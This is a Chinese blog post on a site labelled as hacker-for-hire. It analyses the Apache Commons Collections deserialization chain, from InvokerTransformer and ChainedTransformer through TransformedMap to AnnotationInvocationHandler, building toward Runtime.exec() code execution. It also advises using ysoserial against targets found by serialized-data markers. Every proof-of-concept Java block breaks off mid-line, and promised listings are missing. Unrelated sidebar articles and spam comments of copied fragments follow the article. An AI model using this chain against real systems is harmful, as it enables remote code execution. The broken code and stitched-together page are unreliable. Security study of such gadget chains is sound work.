当前位置:首页 > 黑客技术 > 正文内容

Apache Commons Collections反序列化漏洞

访客4年前 (2021-04-13)黑客技术698

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依赖:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已经集成了该组件的漏洞利用payload;在渗透测试的时候,只需按照Java序列化数据的特征(以十六进制aced或者base64编码格式的rO0AB开头的数据)寻找Java反序列化的入口点,并根据Web应用猜测可能存在CommonsCollections组件,则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单,只定义了一个transform()方法,根据文档说明,该方法主要用于对象转换。实现该接口的类还是挺多的,这里主要利用以下3个实现类:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组,并且在实现transform()方法的时候通过依次遍历该数组元素,并调用数组元素对应的Transformer实现类的transform()方法,将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers=transformers; } public Object transform(Object object) { for (int i=0; i < iTransformers.length; i++) { object=iTransformers[i].transform(object); } return object; } ... }

InvokerTransformer类

InvokerTransformer类的transform()方法主要通过反射机制调用传入参数对象的某个方法,只需在构造InvokerTransformer对象的时候设置方法名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName=methodName; iParamTypes=paramTypes; iArgs=args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls=input.getClass(); Method method=cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }

ConstantTransformer类

ConstantTransformer类十分简单,直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant=constantToReturn; } public Object transform(Object input) { return iConstant; } ... }

根据上述情况,我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显,我们需要借助InvokerTransformer类中transform()方法实现反射调用。如下所示,这里即是代码执行的源头:

package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1=new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

更进一步,我们发现可以借助ChainedTransformer类中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:

package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

接下来,我们希望通过反序列化触发调用Transformer对象transform()方法,达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换,该类通过调用decorate()方法进行实例化,如下所示:

并且在该类中还有个checkSetValue()方法,在该方法中实现了调用Transformer对象的transform()方法;根据该方法描述,checkSetValue()方法将在setValue()方法调用的时候被调用:

因此,我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象,再调用setValue()方法修改Map对象的值,代码如下:

package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

继续寻找通过反序列化触发setValue()方法执行的地方,最后在AnnotationInvocationHandler类的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue()方法,即

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

最终,完整漏洞利用代码如下:

package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]

参考链接

1、Lib之过?Java反序列化漏洞通用利用分析:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

2、What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.:https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

3、Marshalling Pickles:https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

4、深入理解 JAVA 反序列化漏洞:https://paper.seebug.org/312/

5、Commons Collections Java反序列化漏洞深入分析:https://security.tencent.com/index.php/blog/msg/97

6、JAVA反序列化 - Commons-Collections组件:https://xz.aliyun.com/t/7031#toc-9

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106510.html

分享给朋友:

“Apache Commons Collections反序列化漏洞” 的相关文章

华流年京东618怎么买便宜

京东618活动已经在火热进行中的哦,各位有买什么东西了吗?很多小伙伴在活动一开始的时候就迫不及待的买了很多东西了,还有些小伙伴还很犹豫不知道买啥,接下来百思特小编就来教教大家2020年京东618怎么便宜吧~ 京东618怎么买便宜 活动时...

今天的汽油单价 - 今日燃油价格最新行情

4点59元调为5点02元,不同批次价格会有差距,经常堵车路况差的情况下,93#汽油7点71元/升、20:29单位:人民币,情况今天零时起。 92号汽油,0 号柴油每升上调0点04元。更别说不同地区了,92号汽油,上调0点37行情元;93号,最高限价,决定从。 92汽油官方价6点柴油价:6点:5点90...

美团暗语「美团暗语2021」

 昨天,很多网友问小编美团暗语最好的方法是什么?有关美团暗语2021最好的方法是哪种?最新美团暗语2020?根据网民透露的审判细节这篇文章主要介绍了美团暗语,包括美团暗语 据大江网2021年10月20日17:01:48的最新消息,微博网友@ 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全...

黑客了解,中国黑客越南网络apt,黑客网站密码破解工具

6.42 · hxxp[://]offlineearthquake[.]com/file//?id=&n=000 进程三:使命履行及实时数据剖析10.61 2019年6月19日,FireEye Endpoint Security设备上收到了缝隙检测警报。 违规应用程序被辨认为Microso...

奶牛多少钱一头2021年奶牛价格,2021年奶牛市场行情

字体:大中小,一般不超过200斤重的奶牛,怀孕母牛价格要稍贵一些,一般小点的,优质纯种荷斯坦奶牛,见效慢,关闭窗口,通常3-8个月小。 月的奶牛奶牛,花色、请问一头一头半成年奶牛多少钱!但我家不像你那个样子.荷斯坦奶牛、年龄大小。 来源、厘米,他的特点是投资巨大,理性回归2005-09-1511:5...

宏观经济学价格效应 「经济学传递效应」

饮水机效应,价格效应可分解为替代效应和收入效应。通货膨胀的经济效应主要有两个方面,中提出了著名的“节约悖论,比如买切糕,1元钱买了一块切糕,2,利息和货币通论,微观经济学中的价格效应中的一个问题。 “挤出”效应,政府购买和转移支付对我们经济的影响,加剧了收入分配的不均等化进一步加剧。微观经济学,即不...

评论列表

辙弃摘风
3年前 (2022-05-29)

;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.coll

野欢迷麇
3年前 (2022-05-29)

untime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:packa

馥妴迟山
3年前 (2022-05-29)

:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/2、What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in

怎忘眉妩
3年前 (2022-05-28)

l.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;impor

蓝殇花桑
3年前 (2022-05-29)

{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Cl

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。